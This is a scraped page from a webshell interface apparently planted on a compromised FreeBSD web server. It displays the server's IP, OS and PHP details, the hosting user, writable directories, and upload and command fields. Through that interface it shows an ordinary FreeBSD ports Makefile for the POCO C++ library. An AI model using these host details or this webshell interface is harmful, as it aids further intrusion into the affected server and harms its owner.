403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/devel/poco/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/devel/poco/Makefile
PORTNAME=	poco
DISTVERSION=	1.10.1
DISTVERSIONSUFFIX=	-all
CATEGORIES=	devel net
MASTER_SITES=	https://pocoproject.org/releases/${PORTNAME}-${PORTVERSION}/

MAINTAINER=	henry.hu.sh@gmail.com
COMMENT=	C++ libraries with a network/internet focus
WWW=		https://pocoproject.org/

LICENSE=	BSL
LICENSE_FILE=	${WRKSRC}/LICENSE

LIB_DEPENDS=	libpcre.so:devel/pcre \
		libexpat.so:textproc/expat2

USES=		cmake compiler:c++14-lang cpe localbase pkgconfig tar:bz2
USE_LDCONFIG=	yes

CONFLICTS=	poco-ssl

CPE_VENDOR=	pocoproject

CMAKE_ARGS=	-DPOCO_UNBUNDLED:BOOL=ON
SHLIB_MAJOR=	71
PLIST_SUB=	SHLIB_MAJOR=${SHLIB_MAJOR}

OPTIONS_DEFINE=		MYSQL REDIS SQLITE SSL TEST
OPTIONS_RADIO=		ODBC
OPTIONS_RADIO_ODBC=	IODBC UNIXODBC
OPTIONS_DEFAULT=	MYSQL REDIS SQLITE SSL
OPTIONS_SUB=		yes

MYSQL_USES=		mysql
MYSQL_CMAKE_OFF=	-DENABLE_DATA_MYSQL:BOOL=OFF
IODBC_LIB_DEPENDS=	libiodbc.so:databases/libiodbc
IODBC_CMAKE_ON=		-DODBC_INCLUDE_DIRECTORIES:PATH=${LOCALBASE}/include/libiodbc \
			-DODBC_LIBRARIES:FILEPATH=${LOCALBASE}/lib/libiodbc.so
SQLITE_USES=		sqlite
SQLITE_CMAKE_OFF=	-DENABLE_DATA_SQLITE:BOOL=OFF
SSL_USES=		ssl
SSL_CMAKE_OFF=		-DENABLE_CRYPTO:BOOL=OFF \
			-DENABLE_NETSSL:BOOL=OFF
UNIXODBC_LIB_DEPENDS=	libodbc.so:databases/unixODBC
UNIXODBC_CMAKE_ON=	-DODBC_INCLUDE_DIRECTORIES:PATH=${LOCALBASE}/include \
			-DODBC_LIBRARIES:FILEPATH=${LOCALBASE}/lib/libodbc.so
TEST_CMAKE_ON=		-DENABLE_TESTS:BOOL=ON
TEST_IMPLIES=		SQLITE SSL
TEST_TEST_TARGET=	test
REDIS_CMAKE_OFF=	-DENABLE_REDIS:BOOL=OFF

.include <bsd.port.options.mk>

.if ${PORT_OPTIONS:MMYSQL} || ${PORT_OPTIONS:MSQLITE} || ${PORT_OPTIONS:MIODBC} || ${PORT_OPTIONS:MUNIXODBC}
PLIST_SUB+=	DATA=""
.else
PLIST_SUB+=	DATA="@comment "
.endif

.if ${PORT_OPTIONS:MIODBC} || ${PORT_OPTIONS:MUNIXODBC}
PLIST_SUB+=	ODBC=""
.else
CMAKE_ARGS+=	-DENABLE_DATA_ODBC:BOOL=OFF
PLIST_SUB+=	ODBC="@comment "
.endif

post-patch:
	@${REINPLACE_CMD} -e \
		's|-D_XOPEN_SOURCE=500 || ; \
		 s|_EPOLL|_POLL| ; \
		 s|CMAKE_DEBUG_POSTFIX "d"|CMAKE_DEBUG_POSTFIX ""| ; \
		 s|dl rt|rt|' ${WRKSRC}/cmake/DefinePlatformSpecifc.cmake

.include <bsd.port.mk>

Youez - 2016 - github.com/yon3zu
LinuXploit